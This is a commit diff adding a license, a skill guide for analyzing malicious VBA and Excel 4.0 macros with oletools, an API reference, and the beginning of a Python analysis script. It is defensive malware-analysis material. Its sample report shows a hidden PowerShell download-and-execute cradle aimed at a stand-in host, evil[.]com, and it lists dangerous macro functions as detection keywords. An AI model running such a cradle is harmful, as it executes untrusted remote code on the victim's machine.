reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,345 @@
|
||||
---
|
||||
name: analyzing-macro-malware-in-office-documents
|
||||
description: 'Analyzes malicious VBA macros embedded in Microsoft Office documents
|
||||
(Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence
|
||||
mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation
|
||||
to extract the attack chain. Activates for requests involving Office macro analysis,
|
||||
VBA malware investigation, maldoc analysis, or document-based threat examination.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- malware
|
||||
- macro
|
||||
- Office
|
||||
- VBA
|
||||
- document-malware
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
atlas_techniques:
|
||||
- AML.T0068
|
||||
- AML.T0067
|
||||
d3fend_techniques:
|
||||
- File Metadata Consistency Validation
|
||||
- Application Protocol Command Analysis
|
||||
- Identifier Analysis
|
||||
- Content Format Conversion
|
||||
- Message Analysis
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1137.001
|
||||
- T1204.002
|
||||
- T1059.005
|
||||
- T1027
|
||||
---
|
||||
|
||||
# Analyzing Macro Malware in Office Documents
|
||||
|
||||
## When to Use
|
||||
|
||||
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
|
||||
- Investigating phishing campaigns that deliver weaponized Office documents
|
||||
- Extracting VBA macro code to identify the payload download URL and execution method
|
||||
- Analyzing obfuscated VBA code to understand the full attack chain
|
||||
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
|
||||
|
||||
**Do not use** for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.8+ with oletools installed (`pip install oletools`)
|
||||
- oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
|
||||
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
|
||||
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
|
||||
- LibreOffice for safe document rendering (does not execute VBA macros by default)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Initial Document Triage
|
||||
|
||||
Determine if the document contains macros or other active content:
|
||||
|
||||
```bash
|
||||
# Quick triage with olevba
|
||||
olevba suspect.docm
|
||||
|
||||
# Check for OLE streams and macros
|
||||
oleid suspect.docm
|
||||
|
||||
# Output indicators:
|
||||
# VBA Macros: True/False
|
||||
# XLM Macros: True/False
|
||||
# External Relationships: True/False (remote template)
|
||||
# ObjectPool: True/False (embedded objects)
|
||||
# Flash: True/False (SWF objects)
|
||||
|
||||
# Comprehensive OLE analysis
|
||||
oledump.py suspect.docm
|
||||
|
||||
# List all OLE streams with macro indicators
|
||||
# Streams marked with 'M' contain VBA macros
|
||||
# Streams marked with 'm' contain macro attributes
|
||||
```
|
||||
|
||||
### Step 2: Extract and Analyze VBA Code
|
||||
|
||||
Pull out the complete VBA macro source:
|
||||
|
||||
```bash
|
||||
# Extract VBA with full deobfuscation
|
||||
olevba --decode --deobf suspect.docm
|
||||
|
||||
# Extract just the VBA source code
|
||||
olevba --code suspect.docm > extracted_vba.txt
|
||||
|
||||
# Detailed extraction with oledump
|
||||
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
|
||||
|
||||
# Extract all macro streams
|
||||
oledump.py -p plugin_vba_dco suspect.docm
|
||||
```
|
||||
|
||||
```
|
||||
Key VBA Elements to Identify:
|
||||
━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
Auto-Execution Triggers:
|
||||
- Auto_Open / AutoOpen (Word)
|
||||
- Auto_Close / AutoClose
|
||||
- Document_Open / Document_Close
|
||||
- Workbook_Open (Excel)
|
||||
- AutoExec
|
||||
|
||||
Suspicious Functions:
|
||||
- Shell() / Shell.Application
|
||||
- WScript.Shell.Run / Exec
|
||||
- CreateObject("WScript.Shell")
|
||||
- PowerShell execution
|
||||
- URLDownloadToFile
|
||||
- MSXML2.XMLHTTP (HTTP requests)
|
||||
- ADODB.Stream (file writing)
|
||||
- Environ() (environment variables)
|
||||
- CallByName (indirect method calls)
|
||||
```
|
||||
|
||||
### Step 3: Deobfuscate VBA Code
|
||||
|
||||
Remove obfuscation layers to reveal the payload:
|
||||
|
||||
```python
|
||||
# VBA deobfuscation techniques
|
||||
import re
|
||||
|
||||
def deobfuscate_vba(code):
|
||||
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
|
||||
def resolve_chr(match):
|
||||
try:
|
||||
return chr(int(match.group(1)))
|
||||
except:
|
||||
return match.group(0)
|
||||
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
|
||||
|
||||
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
|
||||
code = re.sub(r'"\s*&\s*"', '', code)
|
||||
|
||||
# 3. Resolve ChrW calls: ChrW(104)
|
||||
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
|
||||
|
||||
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
|
||||
def resolve_reverse(match):
|
||||
return '"' + match.group(1)[::-1] + '"'
|
||||
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
|
||||
|
||||
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
|
||||
|
||||
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
|
||||
def resolve_replace(match):
|
||||
original = match.group(1)
|
||||
find = match.group(2)
|
||||
replace_with = match.group(3)
|
||||
return '"' + original.replace(find, replace_with) + '"'
|
||||
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
|
||||
|
||||
return code
|
||||
|
||||
with open("extracted_vba.txt") as f:
|
||||
vba_code = f.read()
|
||||
|
||||
deobfuscated = deobfuscate_vba(vba_code)
|
||||
print(deobfuscated)
|
||||
```
|
||||
|
||||
### Step 4: Analyze Excel 4.0 (XLM) Macros
|
||||
|
||||
Handle legacy Excel macros that bypass VBA detection:
|
||||
|
||||
```bash
|
||||
# Detect XLM macros
|
||||
olevba --xlm suspect.xlsm
|
||||
|
||||
# Deobfuscate XLM macros
|
||||
xlmdeobfuscator -f suspect.xlsm
|
||||
|
||||
# Manual XLM analysis with oledump
|
||||
oledump.py suspect.xlsm -p plugin_biff.py
|
||||
|
||||
# XLM (Excel 4.0) macro functions to watch for:
|
||||
# EXEC() - Execute shell command
|
||||
# CALL() - Call DLL function
|
||||
# REGISTER() - Register DLL function
|
||||
# URLDownloadToFileA - Download file
|
||||
# ALERT() - Display message (social engineering)
|
||||
# HALT() - Stop execution
|
||||
# GOTO() - Control flow
|
||||
# IF() - Conditional execution
|
||||
```
|
||||
|
||||
### Step 5: Check for Non-Macro Attack Vectors
|
||||
|
||||
Examine the document for DDE, remote templates, and embedded objects:
|
||||
|
||||
```bash
|
||||
# Check for DDE (Dynamic Data Exchange)
|
||||
python3 -c "
|
||||
import zipfile
|
||||
import xml.etree.ElementTree as ET
|
||||
import re
|
||||
|
||||
z = zipfile.ZipFile('suspect.docx')
|
||||
for name in z.namelist():
|
||||
if name.endswith('.xml') or name.endswith('.rels'):
|
||||
content = z.read(name).decode('utf-8', errors='ignore')
|
||||
# DDE field codes
|
||||
if 'DDEAUTO' in content or 'DDE ' in content:
|
||||
print(f'[!] DDE found in {name}')
|
||||
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
|
||||
for m in dde_match:
|
||||
print(f' Command: {m}')
|
||||
# Remote template
|
||||
if 'attachedTemplate' in content or 'Target=' in content:
|
||||
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
|
||||
for url in urls:
|
||||
print(f'[!] Remote template URL: {url}')
|
||||
"
|
||||
|
||||
# Check for embedded OLE objects
|
||||
oledump.py -p plugin_msg.py suspect.docm
|
||||
|
||||
# Check relationships for external references
|
||||
python3 -c "
|
||||
import zipfile
|
||||
z = zipfile.ZipFile('suspect.docx')
|
||||
for name in z.namelist():
|
||||
if '.rels' in name:
|
||||
content = z.read(name).decode('utf-8', errors='ignore')
|
||||
if 'http' in content.lower() or 'ftp' in content.lower():
|
||||
print(f'External reference in {name}:')
|
||||
import re
|
||||
urls = re.findall(r'Target=\"([^\"]+)\"', content)
|
||||
for url in urls:
|
||||
print(f' {url}')
|
||||
"
|
||||
```
|
||||
|
||||
### Step 6: Generate Analysis Report
|
||||
|
||||
Document the complete macro malware analysis:
|
||||
|
||||
```
|
||||
Report should include:
|
||||
- Document metadata (author, creation date, modification date)
|
||||
- Macro presence and type (VBA, XLM, DDE, remote template)
|
||||
- Auto-execution trigger identified
|
||||
- Deobfuscated VBA source code (key functions)
|
||||
- Download URL(s) for second-stage payloads
|
||||
- Execution method (Shell, WScript, PowerShell, COM object)
|
||||
- Social engineering lure description
|
||||
- Extracted IOCs (URLs, domains, IPs, file hashes)
|
||||
- YARA rule for the specific document pattern
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **VBA Macro** | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |
|
||||
| **Auto_Open** | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |
|
||||
| **OLE (Object Linking and Embedding)** | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |
|
||||
| **DDE (Dynamic Data Exchange)** | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |
|
||||
| **Remote Template Injection** | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |
|
||||
| **XLM Macros (Excel 4.0)** | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |
|
||||
| **Protected View** | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **oletools (olevba)**: Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
|
||||
- **oledump.py**: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
|
||||
- **XLMDeobfuscator**: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
|
||||
- **ViperMonkey**: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
|
||||
- **YARA**: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
|
||||
|
||||
**Context**: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
|
||||
|
||||
**Approach**:
|
||||
1. Run oleid to confirm VBA macros are present and identify auto-execution triggers
|
||||
2. Extract VBA code with olevba --decode --deobf for initial deobfuscation
|
||||
3. Identify the auto-execution entry point (Auto_Open or Document_Open)
|
||||
4. Trace the execution flow from the entry point through helper functions
|
||||
5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL
|
||||
6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
|
||||
7. Extract all IOCs and create YARA rules for the specific obfuscation pattern
|
||||
|
||||
**Pitfalls**:
|
||||
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
|
||||
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
|
||||
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
|
||||
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
OFFICE MACRO MALWARE ANALYSIS
|
||||
================================
|
||||
Document: invoice_q3_2025.docm
|
||||
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
|
||||
File Type: Microsoft Word Document (OOXML with macros)
|
||||
Author: Administrator
|
||||
Creation Date: 2025-09-10 14:23:00
|
||||
|
||||
MACRO ANALYSIS
|
||||
Type: VBA Macro
|
||||
Trigger: AutoOpen()
|
||||
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
|
||||
|
||||
DEOBFUSCATED EXECUTION CHAIN
|
||||
1. AutoOpen() -> Calls Module1.RunPayload()
|
||||
2. RunPayload() builds command string via Chr() concatenation
|
||||
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
|
||||
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
|
||||
|
||||
SOCIAL ENGINEERING LURE
|
||||
- Document displays fake "Protected Document" image
|
||||
- Instructs user to "Enable Content" to view the document
|
||||
- Content is blurred/hidden until macros execute
|
||||
|
||||
EXTRACTED IOCs
|
||||
Download URL: hxxp://evil[.]com/payload.ps1
|
||||
C2 Domain: evil[.]com
|
||||
IP Address: 185.220.101[.]42
|
||||
User-Agent: PowerShell (default WebClient)
|
||||
|
||||
MITRE ATT&CK
|
||||
T1566.001 Phishing: Spearphishing Attachment
|
||||
T1204.002 User Execution: Malicious File
|
||||
T1059.001 Command and Scripting Interpreter: PowerShell
|
||||
T1059.005 Command and Scripting Interpreter: Visual Basic
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
# API Reference: Office Macro Malware Analysis Tools
|
||||
|
||||
## olevba - VBA Macro Extraction (oletools)
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
olevba document.docm # Full analysis
|
||||
olevba --decode --deobf document.docm # Decode + deobfuscate
|
||||
olevba --code document.docm # Extract VBA source only
|
||||
olevba --json document.docm # JSON output
|
||||
olevba --reveal document.docm # Reveal hidden content
|
||||
```
|
||||
|
||||
### Output Sections
|
||||
| Section | Content |
|
||||
|---------|---------|
|
||||
| `AutoExec` | Auto-execution triggers (AutoOpen, Document_Open) |
|
||||
| `Suspicious` | Dangerous functions (Shell, WScript, CreateObject) |
|
||||
| `IOC` | Extracted indicators (URLs, IPs, file paths) |
|
||||
| `Hex String` | Decoded hex-encoded strings |
|
||||
|
||||
### Python API
|
||||
```python
|
||||
from oletools.olevba import VBA_Parser
|
||||
vba = VBA_Parser("document.docm")
|
||||
if vba.detect_vba_macros():
|
||||
for (fn, stream, vba_fn, code) in vba.extract_macros():
|
||||
print(code)
|
||||
for (kw_type, keyword, desc) in vba.analyze_macros():
|
||||
print(f"{kw_type}: {keyword}")
|
||||
vba.close()
|
||||
```
|
||||
|
||||
## oleid - Document Capability Identification
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
oleid document.docm
|
||||
```
|
||||
|
||||
### Indicators
|
||||
| Indicator | Risk Values |
|
||||
|-----------|-------------|
|
||||
| `VBA Macros` | True/False |
|
||||
| `XLM Macros` | True/False |
|
||||
| `External Relationships` | True/False |
|
||||
| `ObjectPool` | True/False |
|
||||
| `Flash` | True/False |
|
||||
|
||||
## oledump.py - OLE Stream Analysis
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
oledump.py document.docm # List streams
|
||||
oledump.py -s 8 -v document.docm # Extract stream 8
|
||||
oledump.py -p plugin_vba_dco document.docm # VBA decompile
|
||||
oledump.py -p plugin_msg.py document.msg # MSG file parsing
|
||||
```
|
||||
|
||||
### Stream Markers
|
||||
| Marker | Meaning |
|
||||
|--------|---------|
|
||||
| `M` | Contains VBA macros |
|
||||
| `m` | Contains macro attributes |
|
||||
| `O` | Contains OLE objects |
|
||||
|
||||
## XLMDeobfuscator - Excel 4.0 Macros
|
||||
|
||||
### CLI Syntax
|
||||
```bash
|
||||
xlmdeobfuscator -f document.xlsm
|
||||
xlmdeobfuscator -f document.xlsm --output-format json
|
||||
```
|
||||
|
||||
### Dangerous XLM Functions
|
||||
| Function | Purpose |
|
||||
|----------|---------|
|
||||
| `EXEC()` | Execute shell command |
|
||||
| `CALL()` | Call DLL function |
|
||||
| `REGISTER()` | Register DLL function |
|
||||
| `URLDownloadToFileA` | Download file from URL |
|
||||
|
||||
## VBA Auto-Execution Triggers
|
||||
|
||||
| Trigger | Application |
|
||||
|---------|-------------|
|
||||
| `Auto_Open` / `AutoOpen` | Word |
|
||||
| `Document_Open` | Word |
|
||||
| `Workbook_Open` | Excel |
|
||||
| `Auto_Close` | Word |
|
||||
| `AutoExec` | Word |
|
||||
|
||||
## VBA Suspicious Functions
|
||||
|
||||
| Function | Risk |
|
||||
|----------|------|
|
||||
| `Shell()` | Command execution |
|
||||
| `WScript.Shell` | Windows scripting |
|
||||
| `CreateObject()` | COM object instantiation |
|
||||
| `URLDownloadToFile` | File download |
|
||||
| `MSXML2.XMLHTTP` | HTTP requests |
|
||||
| `ADODB.Stream` | Binary file writing |
|
||||
| `CallByName` | Indirect method invocation |
|
||||
| `Environ()` | Environment variable access |
|
||||
|
||||
## ViperMonkey - VBA Emulation
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
vmonkey document.docm
|
||||
vmonkey --iocs document.docm # Extract IOCs only
|
||||
```
|
||||
@@ -0,0 +1,246 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import json
|
||||
import zipfile
|
||||
|
||||
try:
|
||||
from oletools.olevba import VBA_Parser
|
||||
from oletools import oleid
|
||||
HAS_OLETOOLS = True
|
||||
except ImportError:
|
||||
HAS_OLETOOLS = False
|
||||
|
||||
|
||||
def compute_hash(filepath):
|
||||
"""Compute SHA-256 hash of a file."""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, "rb") as f:
|
||||
for chunk in iter(lambda: f.read(65536), b""):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
def triage_document(filepath):
|
||||
"""Quick triage using oleid to identify document capabilities."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed: pip install oletools"}
|
||||
oid = oleid.OleID(filepath)
|
||||
indicators = oid.check()
|
||||
results = {}
|
||||
for indicator in indicators:
|
||||
results[indicator.name] = {
|
||||
"value": str(indicator.value),
|
||||
"risk": indicator.risk,
|
||||
"description": indicator.description,
|
||||
}
|
||||
return results
|
||||
|
||||
|
||||
def extract_vba_macros(filepath):
|
||||
"""Extract VBA macro code from an Office document."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed"}
|
||||
vba_parser = VBA_Parser(filepath)
|
||||
macros = []
|
||||
if vba_parser.detect_vba_macros():
|
||||
for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
|
||||
macros.append({
|
||||
"filename": filename,
|
||||
"stream_path": stream_path,
|
||||
"vba_filename": vba_filename,
|
||||
"code": vba_code,
|
||||
"code_length": len(vba_code),
|
||||
})
|
||||
vba_parser.close()
|
||||
return macros
|
||||
|
||||
|
||||
def analyze_vba_suspicious(filepath):
|
||||
"""Analyze VBA macros for suspicious keywords and patterns."""
|
||||
if not HAS_OLETOOLS:
|
||||
return {"error": "oletools not installed"}
|
||||
vba_parser = VBA_Parser(filepath)
|
||||
analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
|
||||
if vba_parser.detect_vba_macros():
|
||||
results = vba_parser.analyze_macros()
|
||||
for (kw_type, keyword, description) in results:
|
||||
entry = {"type": kw_type, "keyword": keyword, "description": description}
|
||||
if kw_type == "AutoExec":
|
||||
analysis["auto_exec"].append(entry)
|
||||
elif kw_type == "Suspicious":
|
||||
analysis["suspicious"].append(entry)
|
||||
elif kw_type == "IOC":
|
||||
analysis["iocs"].append(entry)
|
||||
elif kw_type == "Hex String":
|
||||
analysis["hex_strings"].append(entry)
|
||||
vba_parser.close()
|
||||
return analysis
|
||||
|
||||
|
||||
def deobfuscate_chr_calls(vba_code):
|
||||
"""Resolve Chr() and ChrW() calls in VBA code."""
|
||||
def resolve_chr(match):
|
||||
try:
|
||||
return chr(int(match.group(1)))
|
||||
except (ValueError, OverflowError):
|
||||
return match.group(0)
|
||||
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
|
||||
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
|
||||
return code
|
||||
|
||||
|
||||
def deobfuscate_concatenation(vba_code):
|
||||
"""Remove string concatenation: "abc" & "def" -> "abcdef"."""
|
||||
return re.sub(r'"\s*&\s*"', '', vba_code)
|
||||
|
||||
|
||||
def deobfuscate_strreverse(vba_code):
|
||||
"""Resolve StrReverse() calls."""
|
||||
def resolve_reverse(match):
|
||||
return '"' + match.group(1)[::-1] + '"'
|
||||
return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)
|
||||
|
||||
|
||||
def deobfuscate_replace(vba_code):
|
||||
"""Resolve Replace() function calls."""
|
||||
def resolve_replace(match):
|
||||
original = match.group(1)
|
||||
find = match.group(2)
|
||||
replace_with = match.group(3)
|
||||
return '"' + original.replace(find, replace_with) + '"'
|
||||
